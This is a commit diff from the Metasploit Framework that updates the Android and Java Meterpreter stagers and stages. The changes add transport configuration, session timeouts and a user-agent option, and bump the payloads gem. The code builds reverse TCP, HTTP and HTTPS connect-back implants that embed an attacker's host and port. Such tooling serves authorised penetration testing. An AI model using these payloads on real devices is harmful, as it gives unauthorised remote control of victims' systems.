Land #5608, android and java meterpreter transport and sleep support
This also includes stageless Windows meterpreter fixes for process migration.bug/bundler_fix
commit
e99d63687f
|
@ -9,7 +9,7 @@ PATH
|
|||
json
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit-payloads (= 1.0.3)
|
||||
metasploit-payloads (= 1.0.4)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -123,7 +123,7 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.3)
|
||||
metasploit-payloads (1.0.4)
|
||||
metasploit_data_models (1.2.5)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
|
|
@ -313,21 +313,11 @@ protected
|
|||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage(
|
||||
blob = obj.generate_stage(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
# This is a TLV packet - I guess somewhere there should be an API for building them
|
||||
# in Metasploit :-)
|
||||
packet = ""
|
||||
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
|
||||
packet << [url.length+8, 0x1000a].pack('NN')+url
|
||||
packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
|
||||
packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
|
||||
blob << [packet.length+8, 0].pack('NN') + packet
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
|
|
|
@ -32,8 +32,13 @@ module Msf::Payload::Dalvik
|
|||
end
|
||||
|
||||
def apply_options(classes)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
|
||||
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
|
||||
timeouts = [
|
||||
datastore['SessionExpirationTimeout'].to_s,
|
||||
datastore['SessionCommunicationTimeout'].to_s,
|
||||
datastore['SessionRetryTotal'].to_s,
|
||||
datastore['SessionRetryWait'].to_s
|
||||
].join('-')
|
||||
string_sub(classes, 'TTTT ', 'TTTT' + timeouts)
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
|
|
|
@ -18,9 +18,9 @@ module Msf::Payload::Java
|
|||
stage = ''
|
||||
@stage_class_files.each do |path|
|
||||
data = MetasploitPayloads.read('java', path)
|
||||
stage << ([data.length].pack("N") + data)
|
||||
stage << [data.length, data].pack('NA*')
|
||||
end
|
||||
stage << [0].pack("N")
|
||||
stage << [0].pack('N')
|
||||
|
||||
stage
|
||||
end
|
||||
|
|
|
@ -61,6 +61,7 @@ module Msf::Payload::TransportConfig
|
|||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
|
|
|
@ -52,14 +52,14 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:retry_count] = datastore['StagerRetryCount']
|
||||
conf[:url] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
end
|
||||
|
||||
generate_reverse_http(conf)
|
||||
|
|
|
@ -58,6 +58,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
|
|
|
@ -80,10 +80,10 @@ class Console::CommandDispatcher::Core
|
|||
if client.platform =~ /win/ || client.platform =~ /linux/
|
||||
# Migration only supported on windows and linux
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
end
|
||||
|
||||
|
||||
if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /java/
|
||||
# Yet to implement transport hopping for other meterpreters.
|
||||
# Works for posix and native windows though.
|
||||
c["transport"] = "Change the current transport mechanism"
|
||||
|
||||
# sleep functionality relies on the transport features, so only
|
||||
|
|
|
@ -62,7 +62,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.3'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.4'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -17,15 +17,15 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Dalvik Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => 'anwarelmakrahy',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
'Name' => 'Dalvik Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
|
@ -36,13 +36,12 @@ module Metasploit3
|
|||
uri_req_len = 5
|
||||
end
|
||||
|
||||
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
|
||||
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
lurl << "/"
|
||||
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
|
||||
# TODO: perhaps wire in an existing UUID from opts?
|
||||
url << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
|
||||
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
|
||||
apply_options(classes)
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
|
|
|
@ -17,14 +17,14 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Dalvik Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTPS',
|
||||
'Author' => 'anwarelmakrahy',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Stager' => {'Payload' => ""}
|
||||
'Name' => 'Dalvik Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTPS',
|
||||
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
|
@ -36,13 +36,12 @@ module Metasploit3
|
|||
uri_req_len = 5
|
||||
end
|
||||
|
||||
lurl = "ZZZZhttps://#{datastore["LHOST"]}"
|
||||
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
lurl << "/"
|
||||
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
|
||||
# TODO: perhaps wire in an existing UUID from opts?
|
||||
url << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
|
||||
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp'
|
|||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
|
@ -17,14 +17,14 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Dalvik Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => 'timwr',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
'Name' => 'Dalvik Reverse TCP Stager',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => ['timwr', 'OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
|
@ -37,8 +37,8 @@ module Metasploit3
|
|||
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
|
||||
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
|
||||
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
|
||||
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
|
||||
apply_options(classes)
|
||||
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
|
|
@ -7,27 +7,24 @@ require 'msf/core'
|
|||
require 'msf/core/payload/dalvik'
|
||||
require 'msf/base/sessions/meterpreter_android'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Meterpreter',
|
||||
'Name' => 'Android Meterpreter',
|
||||
'Description' => 'Run a meterpreter server on Android',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt', # msf integration
|
||||
'anwarelmakrahy' # android extension
|
||||
],
|
||||
'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'],
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Android))
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Android
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
register_options([
|
||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
||||
], self.class)
|
||||
end
|
||||
|
@ -37,13 +34,38 @@ module Metasploit3
|
|||
# used as the final stage
|
||||
#
|
||||
def generate_stage(opts={})
|
||||
# TODO: wire the UUID into the stage
|
||||
clazz = 'androidpayload.stage.Meterpreter'
|
||||
metstage = MetasploitPayloads.read("android", "metstage.jar")
|
||||
met = MetasploitPayloads.read("android", "meterpreter.jar")
|
||||
|
||||
# Name of the class to load from the stage, the actual jar to load
|
||||
# it from, and then finally the meterpreter stage
|
||||
java_string(clazz) + java_string(metstage) + java_string(met)
|
||||
blocks = [
|
||||
java_string(clazz),
|
||||
java_string(metstage),
|
||||
java_string(met),
|
||||
java_string(generate_config(opts))
|
||||
]
|
||||
|
||||
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)]
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the XML version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,7 +10,8 @@ require 'msf/base/sessions/meterpreter_java'
|
|||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
# The stager should have already included this
|
||||
|
@ -18,20 +19,18 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Java Meterpreter',
|
||||
'Description' => 'Run a meterpreter server in Java',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt' # msf integration
|
||||
],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Name' => 'Java Meterpreter',
|
||||
'Description' => 'Run a meterpreter server in Java',
|
||||
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' => {
|
||||
'Convention' => 'javasocket javaurl',
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Java))
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Java
|
||||
))
|
||||
|
||||
# Order matters. Classes can only reference classes that have already
|
||||
# been sent. The last .class must implement Stage, i.e. have a start()
|
||||
# method.
|
||||
|
@ -54,12 +53,42 @@ module Metasploit3
|
|||
# used as the final stage; calls super to get the intermediate stager.
|
||||
#
|
||||
def generate_stage(opts={})
|
||||
# TODO: wire the UUID into the stage
|
||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
|
||||
config = generate_config(opts)
|
||||
|
||||
# All of the dendencies to create a jar loader, followed by the length
|
||||
# of the jar and the jar itself.
|
||||
super(opts) + [met.length].pack("N") + met
|
||||
# All of the dependencies to create a jar loader, followed by the length
|
||||
# of the jar and the jar itself, then the config
|
||||
blocks = [
|
||||
super(opts),
|
||||
[met.length, met].pack('NA*'),
|
||||
[config.length, config].pack('NA*')
|
||||
]
|
||||
|
||||
# Deliberate off by 1 here. The call to super adds a null terminator
|
||||
# so we would add 1 for the null terminate and remove one for the call
|
||||
# to super.
|
||||
block_count = blocks.length + @stage_class_files.length
|
||||
|
||||
# Pack all the magic together
|
||||
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)]
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the XML version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue